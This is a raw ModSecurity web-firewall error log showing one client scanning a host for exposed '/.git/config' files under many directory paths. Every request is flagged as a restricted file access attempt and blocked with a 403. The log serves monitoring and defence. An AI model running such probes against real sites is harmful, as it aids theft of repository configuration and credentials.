[Wed Sep 04 15:26:29.379171 2024] [:error] [pid 1668041] [client 45.135.232.70:53758] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTQAAAAQ&quot;]
[Wed Sep 04 15:26:29.379407 2024] [:error] [pid 1668041] [client 45.135.232.70:53758] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTQAAAAQ&quot;]
[Wed Sep 04 15:26:29.380039 2024] [:error] [pid 1668037] [client 45.135.232.70:53670] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqQAAAAA&quot;]
[Wed Sep 04 15:26:29.380443 2024] [:error] [pid 1668037] [client 45.135.232.70:53670] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqQAAAAA&quot;]
[Wed Sep 04 15:26:29.380702 2024] [:error] [pid 1668037] [client 45.135.232.70:53670] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqQAAAAA&quot;]
[Wed Sep 04 15:26:29.381263 2024] [:error] [pid 1668042] [client 45.135.232.70:53606] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3Jqz0AAAAAU&quot;]
[Wed Sep 04 15:26:29.381582 2024] [:error] [pid 1668042] [client 45.135.232.70:53606] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3Jqz0AAAAAU&quot;]
[Wed Sep 04 15:26:29.381725 2024] [:error] [pid 1669687] [client 45.135.232.70:53652] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREgAAAAc&quot;]
[Wed Sep 04 15:26:29.381764 2024] [:error] [pid 1668042] [client 45.135.232.70:53606] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3Jqz0AAAAAU&quot;]
[Wed Sep 04 15:26:29.382082 2024] [:error] [pid 1669687] [client 45.135.232.70:53652] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREgAAAAc&quot;]
[Wed Sep 04 15:26:29.382387 2024] [:error] [pid 1669687] [client 45.135.232.70:53652] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREgAAAAc&quot;]
[Wed Sep 04 15:26:29.383853 2024] [:error] [pid 1668040] [client 45.135.232.70:53638] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNQAAAAM&quot;]
[Wed Sep 04 15:26:29.384114 2024] [:error] [pid 1668040] [client 45.135.232.70:53638] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNQAAAAM&quot;]
[Wed Sep 04 15:26:29.384308 2024] [:error] [pid 1668040] [client 45.135.232.70:53638] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNQAAAAM&quot;]
[Wed Sep 04 15:26:29.385805 2024] [:error] [pid 1668038] [client 45.135.232.70:53694] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvgAAAAE&quot;]
[Wed Sep 04 15:26:29.386087 2024] [:error] [pid 1668039] [client 45.135.232.70:53762] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6aQAAAAI&quot;]
[Wed Sep 04 15:26:29.386102 2024] [:error] [pid 1668038] [client 45.135.232.70:53694] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvgAAAAE&quot;]
[Wed Sep 04 15:26:29.386390 2024] [:error] [pid 1668038] [client 45.135.232.70:53694] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvgAAAAE&quot;]
[Wed Sep 04 15:26:29.386399 2024] [:error] [pid 1668039] [client 45.135.232.70:53762] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6aQAAAAI&quot;]
[Wed Sep 04 15:26:29.386599 2024] [:error] [pid 1668039] [client 45.135.232.70:53762] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6aQAAAAI&quot;]
[Wed Sep 04 15:26:29.388356 2024] [:error] [pid 1679851] [client 45.135.232.70:53624] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14gAAAAg&quot;]
[Wed Sep 04 15:26:29.388628 2024] [:error] [pid 1679851] [client 45.135.232.70:53624] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14gAAAAg&quot;]
[Wed Sep 04 15:26:29.388680 2024] [:error] [pid 1669081] [client 45.135.232.70:53664] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-KAAAAAY&quot;]
[Wed Sep 04 15:26:29.388823 2024] [:error] [pid 1679851] [client 45.135.232.70:53624] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14gAAAAg&quot;]
[Wed Sep 04 15:26:29.389000 2024] [:error] [pid 1669081] [client 45.135.232.70:53664] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-KAAAAAY&quot;]
[Wed Sep 04 15:26:29.389262 2024] [:error] [pid 1669081] [client 45.135.232.70:53664] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-KAAAAAY&quot;]
[Wed Sep 04 15:26:29.476364 2024] [:error] [pid 1668041] [client 45.135.232.70:53634] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTgAAAAQ&quot;]
[Wed Sep 04 15:26:29.477033 2024] [:error] [pid 1668041] [client 45.135.232.70:53634] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTgAAAAQ&quot;]
[Wed Sep 04 15:26:29.477713 2024] [:error] [pid 1668041] [client 45.135.232.70:53634] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTgAAAAQ&quot;]
[Wed Sep 04 15:26:29.478147 2024] [:error] [pid 1668037] [client 45.135.232.70:53612] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqgAAAAA&quot;]
[Wed Sep 04 15:26:29.478771 2024] [:error] [pid 1668037] [client 45.135.232.70:53612] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqgAAAAA&quot;]
[Wed Sep 04 15:26:29.479255 2024] [:error] [pid 1668037] [client 45.135.232.70:53612] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqgAAAAA&quot;]
[Wed Sep 04 15:26:29.481225 2024] [:error] [pid 1668042] [client 45.135.232.70:53672] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3Jqz0QAAAAU&quot;]
